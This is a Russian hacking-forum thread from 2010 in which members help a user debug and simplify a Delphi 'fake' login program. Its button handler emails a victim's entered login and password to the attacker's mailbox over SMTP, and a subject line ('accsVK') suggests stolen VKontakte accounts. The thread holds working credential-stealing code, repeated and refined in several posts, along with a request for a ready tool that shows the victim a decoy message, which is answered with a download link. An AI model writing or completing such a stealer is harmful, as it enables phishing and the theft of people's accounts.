Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
03.04.2010, 22:28
|
|
Banned
Регистрация: 25.12.2008
Сообщений: 13
Провел на форуме:
121482
Репутация:
0
|
|
Помогите пожалуйста!
Вот такой текст обработчика для кнопки в фейке!
idmessage1.Recipients.emailaddresses:='login@mail. ru'; //Куда придут пароль и логин с фейка
idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться
idmessage1.body.text:='Логин:'+edit1.text+' Пароль:'+edit2.text; //Тело письма
idmessage1.subject:='Фейк'; // Тема письма
idmessage1.ContentType:='text/plain'; //Тип письма- можно неуказывать, но мы в целях безопасности укажим )
idPOP31.username:='login'; //Логин
idPOP31.Password:='xxxxx'; //Пароль
idPOP31.Host:='pop3.mail.ru'; //pop3 на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет другой
idPOP31.Port:=110; //Порт POP3
idPOP31.Connect(60000); //Конектимся с таймаутом 60 сек
idSmtp1.username:='login'; //Логин где mail.ru название домена
idSmtp1.Password:='xxxxxxx'; //Пароль
idsmtp1.Host:='smtp.mail.ru'; //smtp на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет друго
idsmtp1.Port:=25; //Порт smtp
idsmtp1.Connect(60000); //Коннектимся с таймаутом 60 сек
idSmtp1.Send(IdMessage1); //Отправка письма с логином и паролем
idSmtp1.Disconnect; //Отключаемся
idPOP31.Disconnect; //Отключаемся
Вообщем через некоторое время при нажатии кнопки выдает:
Project xxxx raised exception class EidSocketError with message 'Socket Error # 10060 Connection Timed Out'.
Короче не знаю что делать. Помогите пожалуйста! Или скажите как сделать проще.
Process stopped. Use Step or Run to continue. |
|
|
03.04.2010, 22:35
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
Провел на форуме:
828081
Репутация:
84
|
|
Ну всего лишь время таймаута истекло, ничего страшного
отрассируй именно при каком коннекте это происходит
|
|
|
|
03.04.2010, 22:53
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
зачем так сложно?
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:=' '+memo1.Text+' Прокси'+memo3.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;
|
|
|
|
03.04.2010, 23:02
|
|
Banned
Регистрация: 25.12.2008
Сообщений: 13
Провел на форуме:
121482
Репутация:
0
|
|
Сообщение от stepashka_
зачем так сложно?
А можно под меня подстроить? Просто не знаю как изменить под эдит. 
|
|
|
|
03.04.2010, 23:05
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от gta
А можно под меня подстроить? Просто не знаю как изменить под эдит.
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:='мыло '+edit1.Text+' Пасс'+edit2.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;
как то так
|
|
|
|
03.04.2010, 23:26
|
|
Banned
Регистрация: 25.12.2008
Сообщений: 13
Провел на форуме:
121482
Репутация:
0
|
|
Сообщение от stepashka_
как то так
Все равно таже ошибка. что делать.
|
|
|
|
03.04.2010, 23:37
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
Провел на форуме:
828081
Репутация:
84
|
|
AutoLogin попробуй отключить, и логинься сам
|
|
|
|
03.04.2010, 23:41
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от gta
Все равно таже ошибка. что делать.
залей сюда исходник 
|
|
|
|
04.04.2010, 00:18
|
|
Banned
Регистрация: 25.12.2008
Сообщений: 13
Провел на форуме:
121482
Репутация:
0
|
|
Сообщение от stepashka_
залей сюда исходник Не хочу позориться
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу.
|
|
|
|
04.04.2010, 00:35
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от gta
Не хочу позориться
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу. http://slil.ru/28903869
думаю разберёшся
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
